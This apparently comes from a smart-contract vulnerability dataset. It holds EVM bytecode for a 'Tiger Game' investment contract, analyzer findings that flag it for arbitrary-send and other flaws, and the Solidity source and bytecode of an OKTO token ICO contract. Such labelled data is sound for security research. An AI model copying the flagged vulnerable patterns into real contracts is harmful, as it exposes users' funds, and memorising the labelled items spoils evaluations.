0AEY7A+yBbbeJLfc6hFmfopDDRZRbtZD0ihKeoSW5LNuHl5rirlv5qb87ujnoOc2 // iouiKgv+WfkXsUalcyiahOdfdPuc+phTtali1K8ZnEljo1p2TmezD7BALPA= // =Vw53 // // -----END PGP MESSAGE-----
0x6080604052600436106100745760003560e01c80639fb952051161004e5780639fb95205146100f5578063b2f5a54c1461010a578063ddd8543d1461012c578063e1254fba1461015457600080fd5b806312065fe01461009e5780634494fd9f146100c05780639f8743f7146100e057600080fd5b3661009957610081610174565b34156100915761008f6101ee565b005b61008f61032f565b600080fd5b3480156100aa57600080fd5b50475b6040519081526020015b60405180910390f35b3480156100cc57600080fd5b50600d5460ff166040516100b79190610c96565b3480156100ec57600080fd5b50600c546100ad565b34801561010157600080fd5b506007546100ad565b34801561011657600080fd5b5061011f61050e565b6040516100b79190610c49565b34801561013857600080fd5b506002546040516001600160a01b0390911681526020016100b7565b34801561016057600080fd5b506100ad61016f366004610c19565b610570565b6000600454118015610187575060045447115b80156101a0575060095460055461019e9042610d09565b115b156101ec576003546004546040516001600160a01b039092169181156108fc0291906000818181858888f193505050501580156101e1573d6000803e3d6000fd5b506000600455426005555b565b476101f76105be565b6000600d5460ff16600181111561021057610210610d9b565b1415610270578060075411801561022f5750600f54600560ff90911610155b1561026b57600d805460ff191660011790556040517f5d53d7dabf8b5c0dd96178ddfa2c74a65abb88dfccf71858d404f4178526b16d90600090a15b61031e565b8060075460026102809190610cea565b10156102be57600d805460ff191690556040517fb691ac6cd895e93f8fc4942120ad7dc17ca863edc028a5cabe1ecd1c6a69256b90600090a161031e565b600b5434101580156102dd5750600a546006546102db9042610d09565b115b1561031e576102ea610710565b600d805460ff191690556040517fb691ac6cd895e93f8fc4942120ad7dc17ca863edc028a5cabe1ecd1c6a69256b90600090a15b600b54341061032c57426006555b50565b336000908152602081905260409020600c5460038201541461036557600c54600382015560008082556002820181905560018201555b805460009061037690600590610cd6565b9050600082600101544261038a9190610d09565b90506000600d5460ff1660018111156103a5576103a5610d9b565b146103f75760405162461bcd60e51b815260206004820152601960248201527f496e76657374206f6e6c7920696e2054696765722047616d650000000000000060448201526064015b60405180910390fd5b60085481116104415760405162461bcd60e51b815260206004820152601660248201527556657279206561726c7920746f20776974686472617760501b60448201526064016103ee565b600082116104885760405162461bcd60e51b8152602060048201526014602482015273546865206465706f73697420697320656d70747960601b60448201526064016103ee565b604051339083156108fc029084906000818181858888f19350505050156104b0574260018401555b476007541180156104c95750600f54600560ff90911610155b1561050957600d805460ff191660011790556040517f5d53d7dabf8b5c0dd96178ddfa2c74a65abb88dfccf71858d404f4178526b16d90600090a1426006555b505050565b6060600180548060200260200160405190810160405280929190818152602001828054801561056657602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610548575b5050505050905090565b600c546001600160a01b038216600090815260208190526040812060030154909114156105b5576001600160a01b0382166000908152602081905260409020546105b8565b60005b92915050565b336000908152602081905260409020600c546003820154146105f457600c54600382015560008082556002820181905560018201555b6002546001600160a01b0316331461069b57600b54341061069b57336001600160a01b0316600182600401548154811061063057610630610db1565b6000918252602090912001546001600160a01b03161461068857600f805460ff1690600061065d83610d3b565b91906101000a81548160ff021916908360ff160217905550506000610681336108d0565b6004830155505b600280546001600160a01b031916331790555b348160000160008282546106af9190610cbe565b909155505042600282015560018101546106ca574260018201555b6106d5600a34610cd6565b600460008282546106e69190610cbe565b909155506106f79050600534610cd6565b600760008282546107089190610cbe565b909155505050565b600061071d606447610cd6565b9050600061072c826032610cea565b9050600061073b836007610cea565b90506000610747610927565b905060005b600581101561081a57600082828151811061076957610769610db1565b6020026020010151905081600014156107b8576040516001600160a01b0382169086156108fc029087906000818181858888f193505050501580156107b2573d6000803e3d6000fd5b50610807565b600182101580156107ca575060048211155b15610807576040516001600160a01b0382169085156108fc029086906000818181858888f19350505050158015610805573d6000803e3d6000fd5b505b508061081281610d20565b91505061074c565b506003546001600160a01b03166108fc610835866016610cea565b6040518115909202916000818181858888f1935050505015801561085d573d6000803e3d6000fd5b5060408051600580825260c08201909252906020820160a0803683375050815161088e926001925060200190610b9f565b50600280546001600160a01b03191630179055600060078190556004819055600f805460ff19169055600c8054916108c583610d20565b919050555050505050565b60006108dc6001610b83565b600e8190556001805484929081106108f6576108f6610db1565b600091825260209091200180546001600160a01b0319166001600160a01b03929092169190911790555050600e5490565b60606000600180548060200260200160405190810160405280929190818152602001828054801561098157602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610963575b5050505050905060006005905060005b81811015610b7b5760006109a6826001610cbe565b90505b82811015610b685760008060006001600160a01b0316600185815481106109d2576109d2610db1565b6000918252602090912001546001600160a01b031614610a3057600080878681518110610a0157610a01610db1565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000206002015491505b60006001600160a01b031660018481548110610a4e57610a4e610db1565b6000918252602090912001546001600160a01b031614610aac57600080878581518110610a7d57610a7d610db1565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000206002015490505b80821015610b53576000868581518110610ac857610ac8610db1565b60200260200101519050868481518110610ae457610ae4610db1565b6020026020010151878681518110610afe57610afe610db1565b60200260200101906001600160a01b031690816001600160a01b03168152505080878581518110610b3157610b31610db1565b60200260200101906001600160a01b031690816001600160a01b031681525050505b50508080610b6090610d20565b9150506109a9565b5080610b7381610d20565b915050610991565b509092915050565b6000600582600e54610b959190610cbe565b6105b89190610d5b565b828054828255906000526020600020908101928215610bf4579160200282015b82811115610bf457825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190610bbf565b50610c00929150610c04565b5090565b5b80821115610c005760008155600101610c05565b600060208284031215610c2b57600080fd5b81356001600160a01b0381168114610c4257600080fd5b9392505050565b6020808252825182820181905260009190848201906040850190845b81811015610c8a5783516001600160a01b031683529284019291840191600101610c65565b50909695505050505050565b6020810160028310610cb857634e487b7160e01b600052602160045260246000fd5b91905290565b60008219821115610cd157610cd1610d6f565b500190565b600082610ce557610ce5610d85565b500490565b6000816000190483118215151615610d0457610d04610d6f565b500290565b600082821015610d1b57610d1b610d6f565b500390565b6000600019821415610d3457610d34610d6f565b5060010190565b600060ff821660ff811415610d5257610d52610d6f565b60010192915050565b600082610d6a57610d6a610d85565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052602160045260246000fd5b634e487b7160e01b600052603260045260246000fdfea2646970667358221220ceb1dcecf9ec56af0100314c9472c5de089cfc0f0c7b252f35369bdc9de81e8964736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,847
0x0727b887bbb920620a891bb8dd7e1492929c12f5
/** *Submitted for verification at Etherscan.io on 2020-12-24 */ pragma solidity ^0.6.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } } interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Owned { address payable public owner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public{ owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address payable _newOwner) public onlyOwner { owner = _newOwner; emit OwnershipTransferred(msg.sender, _newOwner); } } contract ReentrancyGuard { uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } modifier nonReentrant() { require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); _status = _ENTERED; _; _status = _NOT_ENTERED; } } contract BlackList is Owned { mapping (address=>bool) public _blacklist; /** * @notice lock account */ function lockAccount(address _address) public onlyOwner{ _blacklist[_address] = true; } /** * @notice Unlock account */ function unlockAccount(address _address) public onlyOwner{ _blacklist[_address] = false; } /** * @notice check address has in BlackList */ function isLocked(address _address) public view returns(bool){ return _blacklist[_address]; } } contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } interface TokenRecipient { function receiveApproval(address _from, uint256 _value, address _tokenContract, bytes calldata _extraData) external; } contract OKTOToken is ERC20('OKTO', 'OKTO', 18), ReentrancyGuard, Owned, BlackList { using SafeMath for uint256; uint256 public totalTokenSold; uint256 public eatherEarnedInCurrentRound; uint256 public totalEtherEarned; uint256 public currentRound = 0; //currentRound = 0 means ICO didnt started yet; currentRound >= 3 ico ended bool public frozen = true; bool public buyableFlag = true; uint[] public milestone = [1, 108e18 , 297e18]; uint[] public price = [0, 50000, 33333]; uint256 public min = 0.2e18; uint256 public maxStep = 5e18; mapping(address=>mapping(uint256=>uint256)) balances; uint256 public upperCap; uint256 weight; constructor () public { _mint(address(this), 90000000 * 1e18); upperCap = 37800000 * 1e18; } function currentRoundPrice() public view returns (uint256) { if(currentRound>=price.length) return _postIcoPrice(); return price[currentRound]; } function currentRoundVolume() public view returns (uint256) { if(currentRound>=price.length) return 0; return milestone[currentRound]*price[currentRound]; } function currentRoundMilestoneInEther() public view returns (uint256) { if(currentRound>=price.length) return 0; return milestone[currentRound]; } function tokensLeft() public view returns (uint256) { return upperCap.sub(totalTokenSold); } function _postIcoPrice() private view returns (uint256) { return price[price.length.sub(1)].div(2); } //section owner function freezeTokens() external onlyOwner() { frozen = true; } function unfreezeTokens() external onlyOwner() { frozen = false; } function stopSelling() public onlyOwner() { buyableFlag = false; } function continueSelling() public onlyOwner() { buyableFlag = true; } function nextRound() external onlyOwner() { _nextRound(); } function withdraw(address payable receiver, uint256 amount) public onlyOwner() nonReentrant() { receiver.transfer(amount); } function donateTokens(address tokenRecipient, uint256 amount) public onlyOwner() { _transfer(address(this), tokenRecipient, amount); } function setPrice(uint256 newPrice, uint256 round) public onlyOwner() { require(_isRoundExists(round), "Wrong round number"); price[round] = newPrice; } function burnUnsold() public onlyOwner() { _burn(address(this), balanceOf(address(this))); } //endsection function approveAndCall(address _spender, uint256 _value, bytes calldata _extraData) external returns (bool success) { approve(_spender, _value); TokenRecipient(_spender).receiveApproval(msg.sender, _value, address(this), _extraData); return true; } // section payable receive() external payable buyable() { _swapTokenForEhter(msg.sender,msg.value); } function buy() payable public buyable() { _swapTokenForEhter(msg.sender,msg.value); } //endsection function _swapTokenForEhter(address buyer, uint256 amount) private { require(amount >= min,"Less than the minimum purchase"); uint256 _swapBalance = _calculateToken(buyer,amount); _transfer(address(this), buyer, _swapBalance); totalTokenSold = totalTokenSold.add(_swapBalance); totalEtherEarned = totalEtherEarned.add(amount); require(totalTokenSold<=upperCap, "No tokens left for selling"); } function _calculateToken(address buyer, uint256 amount) private returns (uint256) { uint256 _price; uint256 res; uint256 localRound = currentRound; if(currentRound>=price.length) { _price = _postIcoPrice(); } else { _price = price[currentRound]; uint256 currentRoundMilestone = currentRoundMilestoneInEther(); if(eatherEarnedInCurrentRound.add(amount) > currentRoundMilestone) { uint256 etherLeftForMilestone = currentRoundMilestone.sub(eatherEarnedInCurrentRound); _nextRound(); //entering new round res = res.add(_calculateToken(buyer, amount.sub(etherLeftForMilestone))); amount = etherLeftForMilestone; } else eatherEarnedInCurrentRound = eatherEarnedInCurrentRound.add(amount); } balances[buyer][localRound] = balances[buyer][localRound].add(amount); if(localRound<price.length) require(balances[buyer][localRound]<=maxStep.mul(2**localRound.sub(1)),"More than the maximum purchase"); res = res.add(amount.mul(_price)); return res; } function _nextRound() private { require(currentRound<=price.length, "No more rounds left"); currentRound = currentRound.add(1); eatherEarnedInCurrentRound=0; } function _beforeTokenTransfer(address from, address, uint256) internal override { require(!isLocked(from), "Sender is blacklisted"); if(from != address(this) && from != address(0)) require(!frozen, "Tokens are frozen"); } function _isRoundExists(uint256 roundInQuestion) private view returns(bool) { return roundInQuestion>0 && roundInQuestion<price.length; } modifier buyable() { require(currentRound>0, "Not opened for purchase"); require(currentRound<=price.length, "All rounds of ico has been completed"); require(buyableFlag, "Buyable flag is not set"); _; } }
0x6080604052600436106102605760003560e01c80638e6127b811610144578063b5f7f636116100b6578063f11353941161007a578063f113539414610959578063f2fde38b14610983578063f3fef3a3146109b6578063f7d97577146109ef578063f889794514610a1f578063ffba376c14610a345761035b565b8063b5f7f6361461084d578063cae9ca5114610862578063da9f4875146108f4578063dd62ed3e14610909578063e5f9b080146109445761035b565b8063a457c2d711610108578063a457c2d714610794578063a6f2ae3a146107cd578063a9059cbb146107d5578063b2dc71151461080e578063b31f8f9314610823578063b52a5851146108385761035b565b80638e6127b8146106ef578063905295e314610704578063913377cc1461073757806395d89b411461074c578063a20623ce146107615761035b565b8063313ce567116101dd57806350d37bff116101a157806350d37bff1461063757806370a082311461064c5780637fbb0e991461067f578063896d9502146106945780638a19c8bc146106a95780638da5cb5b146106be5761035b565b8063313ce56714610558578063395093511461058357806347a64f44146105bc57806347e40553146105ef5780634a4fbeec146106045761035b565b806318160ddd1161022457806318160ddd146104ac5780631fcd90e7146104c157806323b872dd146104d6578063247efc831461051957806326a49e371461052e5761035b565b8063054f7d9c1461036057806306fdde0314610389578063095ea7b3146104135780631619921f1461044c57806317a7191f146104855761035b565b3661035b576000600c54116102b6576040805162461bcd60e51b81526020600482015260176024820152764e6f74206f70656e656420666f7220707572636861736560481b604482015290519081900360640190fd5b600f54600c5411156102f95760405162461bcd60e51b8152600401808060200182810382526024815260200180611e4a6024913960400191505060405180910390fd5b600d54610100900460ff1661034f576040805162461bcd60e51b8152602060048201526017602482015276109d5e58589b1948199b1859c81a5cc81b9bdd081cd95d604a1b604482015290519081900360640190fd5b6103593334610a49565b005b600080fd5b34801561036c57600080fd5b50610375610b37565b604080519115158252519081900360200190f35b34801561039557600080fd5b5061039e610b40565b6040805160208082528351818301528351919283929083019185019080838360005b838110156103d85781810151838201526020016103c0565b50505050905090810190601f1680156104055780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041f57600080fd5b506103756004803603604081101561043657600080fd5b506001600160a01b038135169060200135610bd7565b34801561045857600080fd5b506103596004803603604081101561046f57600080fd5b506001600160a01b038135169060200135610bf5565b34801561049157600080fd5b5061049a610c1b565b60408051918252519081900360200190f35b3480156104b857600080fd5b5061049a610c21565b3480156104cd57600080fd5b5061049a610c27565b3480156104e257600080fd5b50610375600480360360608110156104f957600080fd5b506001600160a01b03813581169160208101359091169060400135610c5c565b34801561052557600080fd5b5061049a610ce3565b34801561053a57600080fd5b5061049a6004803603602081101561055157600080fd5b5035610ce9565b34801561056457600080fd5b5061056d610d07565b6040805160ff9092168252519081900360200190f35b34801561058f57600080fd5b50610375600480360360408110156105a657600080fd5b506001600160a01b038135169060200135610d10565b3480156105c857600080fd5b50610359600480360360208110156105df57600080fd5b50356001600160a01b0316610d5e565b3480156105fb57600080fd5b50610359610d99565b34801561061057600080fd5b506103756004803603602081101561062757600080fd5b50356001600160a01b0316610dba565b34801561064357600080fd5b5061049a610dd8565b34801561065857600080fd5b5061049a6004803603602081101561066f57600080fd5b50356001600160a01b0316610e28565b34801561068b57600080fd5b50610375610e43565b3480156106a057600080fd5b5061049a610e51565b3480156106b557600080fd5b5061049a610e57565b3480156106ca57600080fd5b506106d3610e5d565b604080516001600160a01b039092168252519081900360200190f35b3480156106fb57600080fd5b5061049a610e6c565b34801561071057600080fd5b506103596004803603602081101561072757600080fd5b50356001600160a01b0316610e72565b34801561074357600080fd5b50610359610eaa565b34801561075857600080fd5b5061039e610ed2565b34801561076d57600080fd5b506103756004803603602081101561078457600080fd5b50356001600160a01b0316610f33565b3480156107a057600080fd5b50610375600480360360408110156107b757600080fd5b506001600160a01b038135169060200135610f48565b610359610fb0565b3480156107e157600080fd5b50610375600480360360408110156107f857600080fd5b506001600160a01b0381351690602001356110a4565b34801561081a57600080fd5b506103596110b8565b34801561082f57600080fd5b5061049a6110dc565b34801561084457600080fd5b506103596110fa565b34801561085957600080fd5b5061049a611123565b34801561086e57600080fd5b506103756004803603606081101561088557600080fd5b6001600160a01b03823516916020810135918101906060810160408201356401000000008111156108b557600080fd5b8201836020820111156108c757600080fd5b803590602001918460018302840111640100000000831117156108e957600080fd5b509092509050611129565b34801561090057600080fd5b506103596111f5565b34801561091557600080fd5b5061049a6004803603604081101561092c57600080fd5b506001600160a01b038135811691602001351661121b565b34801561095057600080fd5b5061049a611246565b34801561096557600080fd5b5061049a6004803603602081101561097c57600080fd5b5035611272565b34801561098f57600080fd5b50610359600480360360208110156109a657600080fd5b50356001600160a01b031661127f565b3480156109c257600080fd5b50610359600480360360408110156109d957600080fd5b506001600160a01b0381351690602001356112e2565b3480156109fb57600080fd5b5061035960048036036040811015610a1257600080fd5b5080359060200135611396565b348015610a2b57600080fd5b5061049a61141a565b348015610a4057600080fd5b50610359611420565b601054811015610aa0576040805162461bcd60e51b815260206004820152601e60248201527f4c657373207468616e20746865206d696e696d756d2070757263686173650000604482015290519081900360640190fd5b6000610aac83836114a4565b9050610ab9308483611671565b600954610ac69082611443565b600955600b54610ad69083611443565b600b556013546009541115610b32576040805162461bcd60e51b815260206004820152601a60248201527f4e6f20746f6b656e73206c65667420666f722073656c6c696e67000000000000604482015290519081900360640190fd5b505050565b600d5460ff1681565b60038054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610bcc5780601f10610ba157610100808354040283529160200191610bcc565b820191906000526020600020905b815481529060010190602001808311610baf57829003601f168201915b505050505090505b90565b6000610beb610be46117cc565b84846117d0565b5060015b92915050565b6007546001600160a01b03163314610c0c57600080fd5b610c17308383611671565b5050565b60115481565b60025490565b600f54600c5460009111610c3d57506000610bd4565b600e600c5481548110610c4c57fe5b9060005260206000200154905090565b6000610c69848484611671565b610cd984610c756117cc565b610cd485604051806060016040528060288152602001611db8602891396001600160a01b038a16600090815260016020526040812090610cb36117cc565b6001600160a01b0316815260208101919091526040016000205491906118bc565b6117d0565b5060019392505050565b600a5481565b600f8181548110610cf657fe5b600091825260209091200154905081565b60055460ff1690565b6000610beb610d1d6117cc565b84610cd48560016000610d2e6117cc565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490611443565b6007546001600160a01b03163314610d7557600080fd5b6001600160a01b03166000908152600860205260409020805460ff19166001179055565b6007546001600160a01b03163314610db057600080fd5b610db8611953565b565b6001600160a01b031660009081526008602052604090205460ff1690565b600f54600c5460009111610dee57506000610bd4565b600f600c5481548110610dfd57fe5b9060005260206000200154600e600c5481548110610e1757fe5b906000526020600020015402905090565b6001600160a01b031660009081526020819052604090205490565b600d54610100900460ff1681565b60135481565b600c5481565b6007546001600160a01b031681565b600b5481565b6007546001600160a01b03163314610e8957600080fd5b6001600160a01b03166000908152600860205260409020805460ff19169055565b6007546001600160a01b03163314610ec157600080fd5b600d805461ff001916610100179055565b60048054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610bcc5780601f10610ba157610100808354040283529160200191610bcc565b60086020526000908152604090205460ff1681565b6000610beb610f556117cc565b84610cd485604051806060016040528060258152602001611e6e6025913960016000610f7f6117cc565b6001600160a01b03908116825260208083019390935260409182016000908120918d168152925290205491906118bc565b6000600c5411611001576040805162461bcd60e51b81526020600482015260176024820152764e6f74206f70656e656420666f7220707572636861736560481b604482015290519081900360640190fd5b600f54600c5411156110445760405162461bcd60e51b8152600401808060200182810382526024815260200180611e4a6024913960400191505060405180910390fd5b600d54610100900460ff1661109a576040805162461bcd60e51b8152602060048201526017602482015276109d5e58589b1948199b1859c81a5cc81b9bdd081cd95d604a1b604482015290519081900360640190fd5b610db83334610a49565b6000610beb6110b16117cc565b8484611671565b6007546001600160a01b031633146110cf57600080fd5b600d805461ff0019169055565b60006110f56009546013546119ba90919063ffffffff16565b905090565b6007546001600160a01b0316331461111157600080fd5b610db83061111e30610e28565b6119fc565b60095481565b60006111358585610bd7565b50846001600160a01b0316638f4ffcb133863087876040518663ffffffff1660e01b815260040180866001600160a01b03168152602001858152602001846001600160a01b03168152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050600060405180830381600087803b1580156111d257600080fd5b505af11580156111e6573d6000803e3d6000fd5b50600198975050505050505050565b6007546001600160a01b0316331461120c57600080fd5b600d805460ff19166001179055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b600f54600c54600091116112635761125c611af8565b9050610bd4565b600f600c5481548110610c4c57fe5b600e8181548110610cf657fe5b6007546001600160a01b0316331461129657600080fd5b600780546001600160a01b0319166001600160a01b03831690811790915560405133907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a350565b6007546001600160a01b031633146112f957600080fd5b60026006541415611351576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b60026006556040516001600160a01b0383169082156108fc029083906000818181858888f1935050505015801561138c573d6000803e3d6000fd5b5050600160065550565b6007546001600160a01b031633146113ad57600080fd5b6113b681611b35565b6113fc576040805162461bcd60e51b81526020600482015260126024820152712bb937b733903937bab73210373ab6b132b960711b604482015290519081900360640190fd5b81600f828154811061140a57fe5b6000918252602090912001555050565b60105481565b6007546001600160a01b0316331461143757600080fd5b600d805460ff19169055565b60008282018381101561149d576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b600c54600f54600091829182919081106114c7576114c0611af8565b9250611566565b600f600c54815481106114d657fe5b9060005260206000200154925060006114ed610c27565b90508061150587600a5461144390919063ffffffff16565b1115611553576000611522600a54836119ba90919063ffffffff16565b905061152c611953565b6115496115428961153d8a856119ba565b6114a4565b8590611443565b9096509250611564565b600a546115609087611443565b600a555b505b6001600160a01b03861660009081526012602090815260408083208484529091529020546115949086611443565b6001600160a01b0387166000908152601260209081526040808320858452909152902055600f54811015611653576115dc6115d08260016119ba565b6011549060020a611b49565b6001600160a01b03871660009081526012602090815260408083208584529091529020541115611653576040805162461bcd60e51b815260206004820152601e60248201527f4d6f7265207468616e20746865206d6178696d756d2070757263686173650000604482015290519081900360640190fd5b6116676116608685611b49565b8390611443565b9695505050505050565b6001600160a01b0383166116b65760405162461bcd60e51b8152600401808060200182810382526025815260200180611e016025913960400191505060405180910390fd5b6001600160a01b0382166116fb5760405162461bcd60e51b8152600401808060200182810382526023815260200180611d0a6023913960400191505060405180910390fd5b611706838383611ba2565b61174381604051806060016040528060268152602001611d71602691396001600160a01b03861660009081526020819052604090205491906118bc565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546117729082611443565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b3390565b6001600160a01b0383166118155760405162461bcd60e51b8152600401808060200182810382526024815260200180611e266024913960400191505060405180910390fd5b6001600160a01b03821661185a5760405162461bcd60e51b8152600401808060200182810382526022815260200180611d4f6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6000818484111561194b5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156119105781810151838201526020016118f8565b50505050905090810190601f16801561193d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600f54600c5411156119a2576040805162461bcd60e51b8152602060048201526013602482015272139bc81b5bdc99481c9bdd5b991cc81b19599d606a1b604482015290519081900360640190fd5b600c546119b0906001611443565b600c556000600a55565b600061149d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118bc565b6001600160a01b038216611a415760405162461bcd60e51b8152600401808060200182810382526021815260200180611de06021913960400191505060405180910390fd5b611a4d82600083611ba2565b611a8a81604051806060016040528060228152602001611d2d602291396001600160a01b03851660009081526020819052604090205491906118bc565b6001600160a01b038316600090815260208190526040902055600254611ab090826119ba565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b600f80546000916110f59160029190611b129060016119ba565b81548110611b1c57fe5b9060005260206000200154611c6790919063ffffffff16565b60008082118015610bef575050600f541190565b600082611b5857506000610bef565b82820282848281611b6557fe5b041461149d5760405162461bcd60e51b8152600401808060200182810382526021815260200180611d976021913960400191505060405180910390fd5b611bab83610dba565b15611bf5576040805162461bcd60e51b815260206004820152601560248201527414d95b99195c881a5cc8189b1858dadb1a5cdd1959605a1b604482015290519081900360640190fd5b6001600160a01b0383163014801590611c1657506001600160a01b03831615155b15610b3257600d5460ff1615610b32576040805162461bcd60e51b81526020600482015260116024820152702a37b5b2b7399030b93290333937bd32b760791b604482015290519081900360640190fd5b600061149d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060008183611cf35760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156119105781810151838201526020016118f8565b506000838581611cff57fe5b049594505050505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373416c6c20726f756e6473206f662069636f20686173206265656e20636f6d706c6574656445524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212209d636ec925d7d0108b687b2cb64e863b5c8dfa825d26e4924fcb0053dd8c0ff864736f6c634300060c0033
